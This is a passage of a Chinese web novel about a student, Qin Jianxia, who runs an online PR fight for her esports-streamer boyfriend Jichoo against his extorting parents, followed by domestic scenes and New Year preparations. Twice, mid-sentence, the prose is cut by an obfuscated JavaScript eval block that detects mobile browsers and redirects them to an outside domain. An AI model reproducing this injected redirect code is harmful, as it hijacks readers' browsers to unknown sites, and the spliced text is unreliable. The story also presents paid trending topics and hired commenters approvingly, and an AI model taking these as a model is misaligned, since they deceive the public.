其实不怎么疼,她只是易留痕体质,但她爸这次真让她在谈继秋面前丢脸了! 哪有这样的,上一秒还雄赳赳气昂昂地放狠话呢,下一秒被老爹敲了一顿,这让她英明神武的脸往哪放。 赵霞反倒护着秦见夏,看向蹙着眉的谈继秋:“小谈,你这件事夏夏昨晚告诉我了,本来我也是觉得不让夏夏掺和比较好,毕竟她还太年轻,但最终还是要由你自己来决定……” “我和你叔叔只是担心,万一未来你和你家那边关系缓和了,会让夏夏不好做人。” 赵霞思来想去还是敞开说了。 “叔叔阿姨请你们放心,我相信她。这次处理不好也没关系,至少之后我可以睡个好觉了。” 谈继秋语气诚恳:“我本身就和父母没什么来往,很多年没见了,只和姐姐关系比较好。姐姐那边昨天我也打过招呼,她无条件支持我们,不会为此心生嫌隙的。至于父母……不会缓和关系,我只希望以后不要和他们有纠缠。” “就是!”秦见夏顿时扬眉吐气,继续回过头吸奶茶,还给赵霞拿了一杯,“而且都说了不结婚不结婚,什么婆家不婆家的,和我有关系?” “之后有矛盾可以分……” “咳咳——”谈继秋咳嗽两声。 于是秦见夏又挨了老妈一掌。 “给我把‘分手’两个字从你嘴边去了!”赵霞尴尬地对谈继秋说,“哈哈,小谈啊你放心,阿姨跟你保证,不是对你不负责的意思……” 赵霞眼见已经无法替女儿圆回来了,只能无奈地挥挥手:“算了你俩回房间商量吧,我们两个老家伙就不操心你们的事了,反正我们也无条件支持你们。” 其实。虽然很不道德,但她也觉得闺女说得没错。 反正又不领证,之后出现矛盾了分手就是,女儿又不是离开男人活不了了。 秦见夏噘着嘴把谈继秋拐回房间,闷闷不乐地打开电脑,准备做证据链。 “别生气啦,叔叔阿姨也是为了你好,”谈继秋也搬了个椅子来,心疼地揉了揉她的脑门,“还疼吗?” 秦见夏一边拿着他手机截图,一边说:“早就不疼了,我故意让你叔叔愧疚愧疚。” “自爱卿一来,朕地位不保啊!” “那咱俩可说好了,这次是真要撕破脸了,”秦见夏再度确认,“但我一定能保证你利益最大化,你放心。” 谈继秋好笑地俯身,亲了亲她的脸颊:“我和我爸妈早在我十六岁那年就撕破脸了,这次无非就是彻底在公众面前闹大而已——不然你以为之前那篇采访,我为什么把这件事说出来?” “那就行,”秦见夏继续认真截聊天记录,“对了,你姐姐昨天加了我微信,说什么要送我礼物,还说过段时间要来看我……你给你姐说,别给我送东西了,咱俩又不是真见家长,别搞得这么兴师动众。” “诶——”谈继秋一听她这话就不乐意,总感觉她下一秒就要拍拍屁股走人,“你昨天还说要和我一直在一起呢,怎么有种干一票就跑路的感觉……要不咱俩签个协议,我真不放心。” “别忘了,是你自己同意不领证的喔。”秦见夏做了个鬼脸。 谈继秋苦恼道:“那是因为我觉得结婚证这个东西,也没什么保障。” “唉,算了,”他泄气,“你以后不许随便说分手这种话就行——这还是你当初给咱们约定的。” 至于怎么留住秦见夏的心,这是他需要考虑的事情。 “成交,”秦见夏也表示深刻反思,“我以后绝对不会随便把分手挂在嘴边了。” 她安慰地亲了亲他:“那到底怎么才能让你有安全感啊,你天天搞得我好像渣女一样……我可是保持了二十一年的单身,像我这么自律的人哪有那么随便。” 秦见夏手速飞快地p着图,嘟囔道:“都说你是最优解了,你不是上过高中吗,应该知道吧。” “嗯,知道,”谈继秋用下巴蹭了蹭她的发顶,声音很轻很轻,“你不要有压力,喜欢就是会胆战心惊啊。” “还有,家姐给你送礼物你就收下,家姐比我有钱,”谈继秋自豪地说,“家姐可是港大本硕毕业,在港城做投行的。这次我爸也找家姐要了一百万,你摆平他们,家姐当然也得感谢你才对。” “我去,两百万,这么大胃口。” 秦见夏顿感压力倍增,连忙把他的头拍开,推了推眼镜,上战场般对着电脑:“你快把你给你爸妈生活费那张卡的银行流水下载出来,还有你姐的我也要,快快快快快——时间紧任务重行动起来!” 果然不出秦见夏所料,“Jichoo抛弃父母”、“Jichoo不孝”、“Jichoo塌房”三个词条,在周六下午五点半左右空降热搜。 陈姐提前做了舆情监测,第一时间将这个消息告知秦见夏。 以及:「小秦,我们这边刚刚扒出幕后黑手了,确实有人要搞jichoo,当初那个平台让Jichoo跳槽他拒绝了,估计是这个原因,所以这次想把他拉下水。」 陈姐:「接下来继续按照你的计划执行,姐给你兜底,热搜已经买好了。」 陈姐从业多年,此时也有点热血沸腾。 成则更上一层楼,败则败了,她押宝的是秦见夏这个人。 这小孩敢想敢干,还真比谈继秋这个闷葫芦有成事能力。 难道就对手深谙互联网吗? 秦见夏嘲弄地吸着奶茶,在八点左右发出微博长文。 对方的确占据先机,直接甩出一段视频采访,看样子还特意在乡下老房子拍摄,营造出一种他父母生活穷苦的感觉。 让大家先入为主地认为,是Jichoo不管父母。 记者的问题也相当刁钻,加之谈继秋的父母刻意捡着对他不利的话说,整段采访都没讲他半点好处。 对于谈继秋姐姐这个最有苦劳的人,倒是一笔带过——重男轻女确实很严重了,只在敲诈金额上端了水。 丑闻一出,抖音和微博直接沦陷,尤其Jichoo的黑粉数量并不少,各方节奏一带,网友都开始一边倒地攻击谈继秋。 这也是秦见夏早就预料到的,吃了这么多次瓜,对这种操作早已烂熟于心。 她并没有选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070335|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一时间发澄清声明,而是先让热度发酵。 第一时间就跳出来打脸,网友看得不起劲,热度退得也快。 当然要让子弹先飞一会才有意思。 传统就是这样,律有三千,不孝为大。 Jichoo这件事不仅轰动了游戏圈,甚至还引发不少自媒体开始蹭热度,集体讨伐,就连谈继秋的粉丝都掉了不少,私信更是没眼看。 秦见夏还特意让陈姐早早买好水军,发点理中客言论带节奏——譬如“先不跟团了,网友变脸的速度我跟不上”、“不知全貌不予置评”等等。 一时间,网上颇有些群魔混战的意味。 有句俗话说得好,水满则溢。 眼见热度爆得差不多了,再拖下去可能会适得其反,秦见夏找准时机,用谈继秋的微博认证账号发了一篇长文。 「Jichoo: 大家好,我是Jichoo的女朋友,首先要向大家说一声抱歉,这次只能由我替Jichoo出面进行澄清,由于这波流感肆虐,他现在还在发烧,我刚刚照顾完他休息时才得知此事,所以先登他账号说明一下事情始末: 首先,采访视频里说得没错,Jichoo的确十年未回过家,但是你们心里清楚他为什么不回家。 几年前就有媒体采访过Jichoo(图1),Jichoo也说了自己十六岁就辍学出来打电竞的原因,还不是被他父母逼的,他才不得不出此下策。 敢问大家哪个有此魄力,十六岁未成年就能独自一人背个包千里迢迢地来晋海单打独斗? 他曾经也像我们一样坐在教室里读书,并且成绩优异。在当初那个年代,如果不是形势所迫,谁会放弃优异的成绩选择打电竞?我想真正叛逆的孩子不会如此品学兼优。 Jichoo是为了自己的亲姐姐才选择“舍弃”原生家庭的。 你们怎么在视频里闭口不提姐姐的事呢?好,那我来提。 当初是Jichoo的父母说要让姐姐高中毕业就嫁人,口口声声地说家里供不起两个小孩读书,但姐姐的成绩次次都是年级第一,而且父母是双职工,怎么会供不起两个小孩上学? 还不是因为你们重男轻女!想要用姐姐来换彩礼! 虽然姐姐那时表示自己会打工赚取学费,然而作为“既得利益者”的弟弟,Jichoo还是选择站出来维护姐姐,哪怕自己辍学也要让姐姐读书,就是你们那一句“供不起两个小孩”,才背井离乡开始职业生涯。 当初他一个小孩独自出来,你们给过一分钱吗?只有姐姐给Jichoo寄过生活费,你们不是也对他不闻不问?怎么现在还倒打一耙指责起他了? 明明是做父母的不负责任在先!Jichoo十年不回家一点都不过分! 其次,Jichoo并非没有赡养父母。 敢问一下他每年给你们打的十万块钱是打给别人的吗?流水我全部整理出来放在图2了。 一年十万块钱,每个月有八千多,比大部分应届生工资还高,难道还不够你们花销?至于让你们住在乡下村子里?还是说,这钱都花在别人身上了? 如果Jichoo这都不叫赡养父母,那我请问一下天底下有几个人合格? 最后,我把Jichoo父亲所有的聊天记录放出来,有录屏也有图片,你们可以自己看一下,在他生病这段时间都承受了多大的精神压力,而我也是刚刚看他手机才知道,所以选择站出来替他发声。 以及,我们双方都清楚,你们要这一百万是想用来干嘛的,要不然先请Jichoo父母出面解释一下三胎的事情? 事已至此也没必要藏着掖着了,二位都五十多高龄了,还选择积极响应号召,瞒着姐弟俩试管生了个三胎男宝,现在已经满月了吧?小儿子比孙女年龄都小,还是先想想这辈分怎么论吧/微笑 亲舅舅比外甥女小,你们自己听听这逆不逆天。 你们当初对姐弟俩不闻不问,现在又找他们要钱养三胎,你们有拿他们当过人吗?你们当父母的及格吗? 你们不及格,凭什么来指责做孩子的“不孝”。 行文至此,情绪有些激动,还请大家见谅,同时也要对喜欢Jichoo的粉丝们说声抱歉,让大家担心了,我们无意占用公共资源,这次实属被逼无奈才选择出面发声,请大家明鉴! 最后的最后,作为女生,我也想对所有“招娣”们说,一定要斗争到底!“招娣”的“娣”都离家出走了,你们也要摆脱束缚,继续大胆地向前走!」 以女朋友的口吻春秋笔法一下,既能把谈继秋稍微摘出去,又能搏一波同情,还能让热度更上一层楼。 此举唯一受伤的可能只有梦女粉,不过事到关头,还是获得多数人的支持更重要。 先卖惨再道歉,甩完实锤又固粉,最后上升价值引发强烈共鸣。 开玩笑呢,她可是6G高强度冲浪,太阳底下无新事。 “怎么样啊我这文笔!”秦见夏沾沾自喜地冲谈继秋挑着眉毛,“知道什么是文综高分的含金量吗?” 同为“招娣”的赵霞看完抹着眼泪说:“闺女,可你数学才五十九啊。” 秦见夏:“……” 秦见夏:“停停停——多么热血沸腾的时刻!咱能先别拆台了吗。” “发烧中”的谈继秋开心地揉了揉她的头发,鼓励道:“做得很好,谢谢你。” 秦见夏本是打算按照先例那样挤牙膏式爆料,这样热度能炒得更高,但最终还是决定一次性发了长文,观感更好一些。 她管这叫“打得一拳开,免得百拳来”的战略部署。 秦见夏不但在微博发了长文,还提前做好了关键字加粗的图片版,在同一时刻同步了抖音和小红书,以至于各个平台都反响激烈。 不仅如此,陈姐那边也下场准备了热搜词条,刻意按秦见夏的方案,把Jichoo往“逃离原生家庭”、“招娣”、“重男轻女”、“六十高龄拼男宝”、“断亲”、“亲舅比外甥小”、“父母让我养三胎”等这类热门话题上引,热度一下子就被点燃了。 小红书女性用户占大多数,风向当然是一股脑倒向他们这边,微博和抖音的优势大概都在65%左右。 不过……还有一部分人画风是这样的—— 「Woc这对吗,继军背着兄弟们谈上了?」 「Md我就说他前段时间不对劲一直在开屏你们没人信老子,梦女还喷我」 「太好了,以后大秋打游戏不用守护父母了,无敌了好吗」 「不用守护腐木?那我们维纳斯可以复出了」 「楼上你疯了,他最后直播那把打出超鬼1/9,还是别复出丢人,那天看完差点粉转黑」 「嫂子这写得给我一种论文的既视感……」 「楼上+1,行文至此落笔为终,嫂子你是不是收藏了毕业论文致谢模板……」 「好久没看到打字用标点符号和分行的了,这还是电竞圈的人吗,搞得人有点不适应」 「……」 秦见夏这篇讨伐檄文仿佛一柄锋利的剑,将绷到极致的皮球轻松刺破。 显然对方也是一次性allin,秦见夏甚至合理怀疑,谈继秋的父母也在利用第三方。 秦见夏这边虽然allin了,但她还有后手。 74. 老实点 秦见夏的声明一经发出,Dollar和Fine也在第一时间转发支持,随后其他选手也陆陆续续地进行了转发。 晚上零点左右,谈继秋的姐姐谈承春也依照秦见夏的计划,用自己的微博账号发布了一早就编辑好的文章。 「談承春Chloe: 大家好,我叫谈承春,我是Jichoo的姐姐,今天特意翻出这个账号向大家说明一下情况。 其实我原名不叫谈承春,我曾经叫谈带娣。 自我有意识起,我就知道父母偏爱弟弟。 很显然,我弟弟的名字是继承的“承”,千秋万代的“秋”。 他要继承我们家的香火,我负责“带弟”。 我只是香火的燃料。 我的弟弟三岁之后基本都是我带大的,母亲自小便告诉我,我的使命就是帮她照顾弟弟。 她说“长姐如母”,然后就心安理得地把弟弟扔给了我。 其实我只比弟弟大两岁而已,那时我也是个什么都不懂的小孩。在我的自主意识尚未萌芽之际,我只能无条件信任我的父母。 够不到灶台就站在板凳上做饭,不会洗衣服就只能反复揉搓。 我本以为是因为我不够完美,所以父母才更喜欢弟弟。 于是我拼命讨好他们,我努力学习,勤奋干活,用尽全力地照顾我弟弟。小时候的我认为这样就可以得到父母施舍的爱。 可是弟弟摔倒了我要挨骂,弟弟生病了我要挨揍,弟弟闯祸了也是我被罚跪。 这究竟凭什么呢?明明我也是他们的孩子。 我们从小到大接受到的教育是“男女平等”,不是吗? 我逐渐在这个家里摸爬滚打地长大,逐渐明白课本和现实是不同的。 我只能庆幸,还好有义务教育,使得我可以上学读书。 我以为我的人生也像脏衣服一样,总有洗干净的一天。 我擅长忍受,我可以忍耐到那一天来临。 好在我又有一些幸运,我的弟弟并没有像传统的重男轻女家庭那样理所应当地享受“性别红利”,他是个十分懂得感恩的孩子。 他从小就有主见,也慢慢有了自己的想法。 在我挨打时他开始护在我身前,不知从什么时候起,他开始反抗父母,凡事都要分我一半。 在他个子窜到跟我一样高的时候,他告诉我:家姐,你一定要考上大学,考出去,不要再回来。 没想到先走出去的却是他。 我父母计划让我高中毕业就早早嫁人,当我还在课堂上为期末考试担忧的时候,他们已经给我选好了婆家。 那时我只知道我未来要嫁的人是个有点小钱的跛子,没有女人看得上他,但他承诺会给我父母几万块钱彩礼。 其实我们家庭条件并不算差,采访里那个是我们早就不住了的老房子,我们很小的时候的确在小渔村长大,然而不久后就搬到了城区。 我的父母虽然不是公职人员,但运气不错,勉强混了个双职工。 即便这样,他们还是要把我这个“赔钱货”物尽其用。 仅仅几万块钱,就要买断我的人生。 我本打算等到高中毕业就跑路,哪怕打工养活自己我也要继续读书。 可是弟弟再一次选择站在我身前。 他跟谁都没说,自己拿走身份证买了张车票就跑到了晋海,后来我问了好多人,才知道他要辍学去打电竞。 他其实是一个倔强的人,凡是他认定的事情,十头牛都拉不回来。 我曾经无数次写信劝他回来继续读书,但他那时已经小有成就,坚持要继续职业生涯,我也只好支持他。 我父母得知他离家出走,自然是震怒的,然而晋海离家太远,他们也不知道我弟弟究竟在哪。对于他们这种传统的人来说,去派出所报案搞得人尽皆知也是不可能的,况且那时他们相当偏爱他,也不想败坏他的名声。 我弟弟很快就每年往家寄钱,他们拿了钱也只好就此作罢。 我顺利地读完高中,没日没夜地学习,终于考进了港大。 这是我弟弟离家出走为我换来的机会,幸好我也抓住了。 后来我父母见弟弟彻底不回家,索性也破罐破摔。 本科期间一直是弟弟在给我寄钱,港城生活成本很高,我靠自己打工和弟弟的接济勉强度日。 我父母一直想再要一个孩子,但年龄大了不好受孕。 他们前段时间才找了路子背着我们做了试管,偷偷生下一个男孩,我只比弟弟早知道一会。 他们同样也找我要了一百万,是在我这里要不到,才去找弟弟要的。 但其实不止弟弟每年给他们十万块赡养费,我每个月也会给他们一万元生活费,得知母亲生产完后,我还给她请了月嫂照顾。 我自认为我们姐弟对父母已经仁至义尽,没想到他们贪得无厌,甚至还将矛头对准弟弟。 这次必须换做我站在他身前了。 Jichoo没有任何错误,错的是我们的父母。 希望他们迷途知返。 也恳请大家停止对我弟弟的造谣和抹黑。 PS: 现在我给自己改名叫谈承春啦,我的英文名是Chloe,寓意“春天的嫩芽”,我还有一个三岁的女儿叫恩恩,我现在家庭美满~ 而且我才收获了一个善良可爱的弟妹,弟弟真的也很幸运呢,本来我都以为他要一辈子打光棍了…… 希望大家对我们来之不易的一家人口下留情,请多多支持Jichoo,谢谢各位/合十」 谈承春的微博一经发出,舆论更是径直倒向谈继秋这边,与此同时,姐弟俩的粉丝也在暴涨。 “现在就看他们明天有什么对策了。” 秦见夏打了个哈欠,和谈继秋互道了晚安。 令人匪夷所思的是,谈继秋的父母没有后招了。 ——而是直接在晚上开始了直播带货…… 焦虑得没怎么睡好的秦见夏:“……” 盯了一晚上舆情的陈姐:“……” 唯一睡了个好觉的谈继秋疑惑询问着脸色不好的秦见夏:“怎么了,这不是证明我们赢了吗?” “陈姐又给我接了几个新代言,”谈继秋伸手把她的抖音直播间关了,“你的‘杠杆计划’成功了啊,我的事业更上一层楼了。” 虽然说是这样说,但总有种被蹭了热度的感觉……好像搭起台子让别人唱上戏了。 秦见夏看着他父母直播间暴涨的人数,崩溃道:“虽荣犹败啊!气死我了——谈耀祖你也给我直播打pk去!” “?” 谈继秋无辜地说:“我签了合约,只能在黄油播。” 秦见夏:“……” 在她看来,这算是被反将一军。 很明显网友们又开始反感,认为这波是剧本炒作—— 「真服了,散了散了,立马带上货了」 「人家毕竟还是一家,咋可能真和父母开撕,你们别太真情实感了」 「真搞笑,他父母居然真在那个破房子里直播」 「歪个楼,继军他爸妈长得也确实不错」 「真是神人了,他父母发了一堆三胎的视频」 「再信网红我就是啥b」 「MCN都签好了,明显是炒作」 「……」 秦见夏也随机应变,和陈姐商量了一下,由公司发布声明,宣称谈继秋父母账号的直播带货行为与谈继秋本人无关,如果再打着Jichoo的旗号牟利,他们将追究对方的法律责任。 秦见夏同样让谈继秋也发了条微博。 「Jichoo:……不必理会,最近继续暂停直播」 这个也是和陈姐商量好的,一来为了避嫌,证明他父母带货的事和他无关,二来也是少给他们点热度。 在这个关头上继续直播,显然又能给他们蹭到,冷处理一段时间后大家就忘了。 三来,他们这回也接到了有含金量的新代言,对于个人ip的打造是更加成功了,暂停几周直播不算什么损失。 然而,秦见夏心里还是非常不痛快,一个劲举报他父母的直播间。 “吊呆比,怎么举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦见夏顿时警铃大作,连忙解释:“我还在上学好不好!你都想到买房了!” “不过——”她忽然起意,“你要是租房了,我能借你家地方养只狗吗?” 秦见夏可怜巴巴地央求:“我爸妈洁癖,不让我养。” “没问题。” 谈继秋一口答应。 只要不养别的男人,养条恐龙都行。 如果她的狗在他这里养着,那她岂不是天天都要来他这边? 也是一种变相的“孩子拴住妈”。 “你们两个不要熬夜,快去睡觉。” 赵霞敲了敲门,催促道。 秦见夏知道她这是催促谈继秋回房间的意思。 在他离开前,她偷偷比了口型:“给你留门。” 半夜十二点,谈继秋做贼一般轻声打开秦见夏的房门,总算和她躺在一张床上。 ——当然是盖着棉被纯睡觉那种。 不过,抱着她睡觉并没有想象中那么舒服。 虽然她床上香香的,将她搂进怀里也是温软的一团——秦见夏跟没有骨头似的,浑身哪里都软绵绵。 但两人躺在一张床上,不可避免地,会触碰到某些不可描述的地方,搞得双方都满脸通红。 而且秦见夏很怕热,他贴着她,她还不满意—— “你浑身怎么跟火炉一样,离我远点。” “不要,”谈继秋还是将她搂在怀里,轻声问,“要不我把空调调低点?” “都九月份了,调那么低我会感冒!” “你大发慈悲,可怜可怜我……” 秦见夏还是第一次被人搂着睡觉。 感觉浑身都不自在,难捱地动了动身子。 然后听到那人倒吸一声—— “别动。” 秦见夏立刻秒懂,坏笑了一声,叛逆地往下伸手。 谈继秋早有预料,将她手腕一把捉住,粗声道:“你最好老实一点。” 75. 一家人 秦国海早起上班,刚好和从书房里出来的谈继秋打了个照面。 “哟,小谈呀,今天黑眼圈怎么这么重?昨晚没睡好?” 谈继秋打了个哈欠,面不改色地撒谎:“叔叔早上好,我是昨晚喝了奶茶,所以失眠了……” 其实是他强忍了一整晚都没睡着,五点多回到书房才眯了一会。 谈继秋也是第一次发现,秦见夏睡觉会往人怀里滚。 这点很好,只是比较考验忍耐力。 “那你再去睡一会啊,”秦国海边换鞋边关切道,“怎么还要出门?” 谈继秋与他肩并肩坐着换上鞋,说:“我去给阿姨和夏夏买早餐。” “诶呦——我跟你讲你放心吧,她们娘俩得睡到半中午才起来,整个家只有我吃早饭!”秦国海想了想,又说,“不过嘛,现在还多了个你,咱们爷俩算是二比二打平。” 谈继秋闻言,不由得发自内心地笑了两声。 秦见夏家里的氛围真的很轻松,她父母自然将他看做是一家人,昨晚还商量让他和他姐姐一家人春节都来南城过年。 她妈妈读完谈承春写的长文,颇为触动地流了泪,说他俩都是可怜孩子,以后就是一家人了,不会再让他们受到委屈。 秦见夏有很好的父母。 当然,秦见夏也很好很好。 谈继秋心情愉悦地微微仰头,透过窗户去瞧外面枝繁叶茂的梧桐树。 浓郁的阳光浮动在树梢上,一切事物都明媚、轻快。 秋天快要来临了。 他居然迎来了新生。 谈继秋静静地坐在沙发上,如梦如幻。 “小谈呀,叔叔去上班了,你在家里面照顾好自己,有什么需要的就给夏夏说。” “不要见外,这就是你的家。” “好的,谢——” “不许说谢谢。” “那,叔叔再见。” 阳光正好。 - 这一周,秦见夏陪谈继秋逛了许多套房子,结果他只是一个劲儿地问她满不满意,一副很没有主见的样子。 搞得秦见夏都怀疑,他姐是在美化他的形象才说他有主见的。 最后两人都看上了湖景房。 这个是新楼盘,就在湖边,小区绿化相当好,还有三期在建,房东似乎也是才装修完不久,而且这个小区离秦见夏她家也不远。 他们都对小区环境非常满意,只不过——秦见夏看上了比较小的一套两室一厅,谈继秋看上了四室两厅带超大落地窗的大平层。 其实主要矛盾在租金—— “你一个人住,租那么大房子干嘛?钱多烧的?” “你不是也偶尔来我这边吗,租个大的住着舒服。” “你看的这套租金直接贵一倍多!一点都不值好不好!” “秦见夏,我到底要说几遍,我不差钱,你要知道我那套晋海的房子还小赚了一点。” “那也很浪费啊!反正我不同意,要不然……问问我爸妈?” “你问。” 秦见夏当即掏出手机,给赵霞打了电话,将情况描述一遍后告状道:“妈——谈继秋他非要租那套大的,你快劝劝他!” “劝他干嘛?”赵霞边吃东西边说,“又不是你掏钱,人家小谈又不差钱,你管那么多干嘛?控制欲别太强。” 秦见夏:“……” 好像很有道理。 她只好挂了电话,妥协道:“随便你吧。” 谈继秋好笑地挑了挑眉,十分欠揍地学着她的口吻开起玩笑:“反正我们不结婚,你没权利管我的钱~” 秦见夏当即捶了他一顿,谈继秋自顾自笑了半天,又说:“反正以后也不给我父母钱了,咱们又不生小孩,这钱不用来及时行乐,放在银行卡里发霉吗。” 秦见夏“嘶”了一声,摸着下巴思索:“你小子说得很有道理。” “那今晚你请我吃顿海底捞好不?”秦见夏大刀阔斧地说,“咱不点四宫格了,点个两宫格!” 谈继秋:“……” 谈继秋无语:“就这点追求……” 谈继秋:“你怎么不说原价点瑞幸。” “这不行,”秦见夏走着走着突发奇想,挽着谈继秋的胳膊,试图挂在他身上走,“原价点瑞幸日子是真不过了。” 谈继秋哭笑不得。 她爸妈说得没错,这简直还是小孩…… 谈继秋当天就租下了那套房子,还请秦见夏一家吃了海底捞。 ——当然最后还是点了四个锅底的四宫格,并且用了秦见夏的大学生六九折…… 周四下午,父母送秦见夏和谈继秋去高铁站时,四人都有些不舍,一路气氛压抑。 赵霞和秦国海年纪大了,亲朋好友搞事业的搞事业、带孩子的带孩子,两人就这一个宝贝疙瘩。 虽然在家里吵吵闹闹,但分别了又真舍不得。没有秦见夏在一旁喋喋不休,夫妻俩大眼瞪小眼,总觉得空气里少了点什么,空落落的。 秦见夏主动说:“我知道你们舍不得我,但这不是马上中秋连着国庆,要放很长时间假吗,也就一周多一点,下下周三上完课我立马回家!” “小谈呢,”赵霞拉着秦见夏的手,看向谈继秋,“小谈什么时候搬来南城?” 谈继秋也说:“阿姨,我回去打包一下东西寄过来,最迟也是中秋前搬来。” 秦国海拍了拍谈继秋的肩膀,替妻子解释:“你阿姨这是年龄上来了,有点更年期,加上周内白天我不在家,你阿姨不忙的时候一个人就比较无聊……而且我们就夏夏一个丫头嘛,她比较黏孩子……” “所以,小谈你搬来了要是平时不忙的话,可以经常来家里吃饭,反正也住得近,多替夏夏来看看我和你阿姨……要是不嫌弃,我们就拿你当亲儿子看待了——” “不嫌弃,怎么会嫌弃,”谈继秋忙不迭说,“谢谢叔叔阿姨。” 他嘴笨,也不知道说什么客套话,只能郑重地对秦见夏父母鞠了一躬,也不在意车站的人来人往。 秦见夏有点感动,瞥见谈继秋同样红了眼眶,更是心疼地握住他的手:“你也看见了,我爸妈很好的,你就拿我爸妈当你爸妈就行,我不介意和你分享我的家庭。” “从前种种譬如昨日死,从后种种譬如今日生。” 秦见夏抱了抱他:“我们一家人以后好好生活。” 谈继秋抱住她,用力说:“嗯。” 他想,他的安全感现在被填得很充盈了。 - 阔别了父母与男友,秦见夏的生活再度变得平淡如水。 每天宿舍、艺术楼、图书馆和食堂四点一线,晚上偶尔和室友一起去西门买点水果和小吃。 她的宿舍关系依旧别扭,陈文欣仍然时常阴阳怪气。自从在辅导员那个就业去向表里发现秦见夏也要考研后,更是时刻都盯着她有没有去学习。 因此,秦见夏的叛逆劲头再度高涨,每天打鸡血似的早起,不是待在艺术楼就是待在图书馆,只有晚上才回宿舍。 日子循环往复,太阳照常升起。 唯一的变化是,她把谈继秋拉进了家庭群,还和三个“群友”换上了一家四口的Chiikawa头像,她很满意。 秦见夏每天到点就艾特谈继秋,监督他有没有偷偷吃泡面,结果谈继秋每天拍外卖照片发在群里。 他点的外卖都比较贵,秦见夏也不好再说什么。 小如和Dollar已经搬去郊区新房了,他俩也租了个远离闹市区,且环境很好的房子。 据说Dollar一直不想住在市中心,人多环境差还容易被认出来,只是Fine当初非要在这里租套别墅,他为了跟兄弟们住在一起才来合租。 Fine还在咬牙坚持他的职业生涯,对于这种“不打职业就要回去继承家产”的富二代,梦想显然更重要一些。 秦见夏的人生也在摆烂中稳步向好,三天打渔两天晒网地进行着她的研究生备考。 不过好在自媒体的视频更新一直没断,小红书粉丝已经突破八万,抖音比小红书多一万,接广赚的钱足以cover掉日常开支,甚至还攒了一笔数目可观的小金库。 她隐隐觉得,自己应该不需要担心就业的问题了。 于是对待考研日渐摆烂。 谈继秋在中秋前彻底搬来南城,农历八月十五,他和秦见夏一家人在他的新家吃了顿团圆饭。 哦不对,现在应该说是他们一家吃了顿团圆饭。 他还给家姐打了视频通话,家姐直接让恩恩喊秦见夏舅母,给她叫了个大红脸。 恩恩非常喜欢她,一个劲地喊她舅母。 至于他父母那边…… 也不知道是秦见夏举报的功劳,还是他们高龄试管生三胎对社会影响不好,后来官方把他们的账号永封了,他们便也没机会再出来蹦跶。 十二月底,父母和谈继秋一起来送秦见夏考研。 由于她考的是独立专业院校,不能在本校考,只能去报考学校考试,刚好在家待了两天。 全家人对于她考研这件事都不太紧张,已经提前计划好考完去吃什么庆祝了。 这场堪比人生第二次高考的考试,秦见夏仍然选择不对答案。 高考不对答案是因为太紧张了,考研不对答案是知道对了也没戏,不用白费这个力气——况且二十二岁的脑子已经记不住自己的答案了。 本就差的英语没好好学彻底放弃,政治自认为答得还不错,两门专业课里只有美术概论的内容她比较擅长,至于中外美术史和文物综合基础…… 反正没怎么背。 总之她就是一句:“至少把卷子写满了。” - 这是谈继秋第一次在南城过春节。 往年都是谈承春在港城待到初四初五左右,才携全家来晋海探望他。 其实从前谈继秋对于任何传统节日都没什么感觉,过不过都一样,谈承春却一年一度从不缺席。 今年谈承春突然决定,除夕当天就带着全家飞来南城——因为南城今年下了很大的雪,她说要带恩恩来玩雪。 这让秦见夏感到十分紧张。 “妈,你快看看我这妆化得怎么样?” “爸,茶叶还有烟酒什么的你准备好没?” “谈继秋,你姐姐姐夫还有恩恩都喜欢吃甜的还是辣的还是酸的?” 谈继秋正和秦国海一起贴着对联,这次赵霞特意买了两份,给谈继秋那边也拿了一份。 他闻言,无奈地从门后探出头来,一一回复:“妆容很不错;我姐姐姐夫没有不良嗜好,他们喝白开水就行;他们也不忌口,什么都不用准备,他们很随意的。” “之前他们来我那里都是他们去买东西。” 秦见夏:“……” “那你很没礼貌了,”秦见夏不相信,“不行!你现在跟我出趟门,咱们去超市再买点零食和糖来,再买几杯奶茶,哦对还有草莓,忘记买草莓了!” “草莓楼下苏果超市就有卖的,”赵霞嘱咐,“多买点,我也爱吃。” 秦国海接过对联,也说:“对啊对啊,你俩再去趟超市吧,我和你阿姨一起贴就行。” 谈继秋无可奈何地笑了两声,只好任由秦见夏拉着他夺门而出。 他还不忘拿上围巾,叮咛道:“你跑慢点,把围巾戴上!” 秦见夏怕冷又怕热,南城的冬天没有暖气,她天天把自己裹得跟个球似的,里三层外三层,每次谈继秋从袖子里掏她的手都要掏半天。 今天是大年三十,她特意穿得喜气洋洋,红卫衣红羽绒服,连毛线帽都是红色的。 谈继秋认真帮她系好围巾,确保密不透风,顺便戏谑地开起玩笑:“秦见夏,你现在像森林冰火人里的火人。” “谈继秋!!”秦见夏随手抓起一把雪,砸到他身上,“你才森林冰火人呢!” 谈继秋笑着躲开,攥住她湿淋淋的右手亲了亲:“没给你拿手套,别玩雪了,一会又要嫌冷。” “要不然咱们买完东西直接去机场接他们?”谈继秋提议,“下午咱们去夫子庙那边逛逛?听说有新春市集。” 两人本来打算徒步去超市,便又扭头往车库的方向走,秦见夏边走边拒绝:“不了,等你姐姐他们来了一起去玩吧,光咱俩去多不够意思。” 谈继秋于是有些不满了:“寒假这么短,你单独陪我去逛逛怎么了?” 他这几个月小脾气见涨,秦见夏连忙哄道:“好好好——咱们采购完就去逛,别生气嘛奖励你亲一口。” 谈继秋故意板着脸,微微弯腰,秦见夏立刻奉上香吻一枚。 天气寒冷,她的唇也温凉。 他觉得不够,又覆在她唇上加深了这个吻。 “怎么这么久了还没学会换气?” 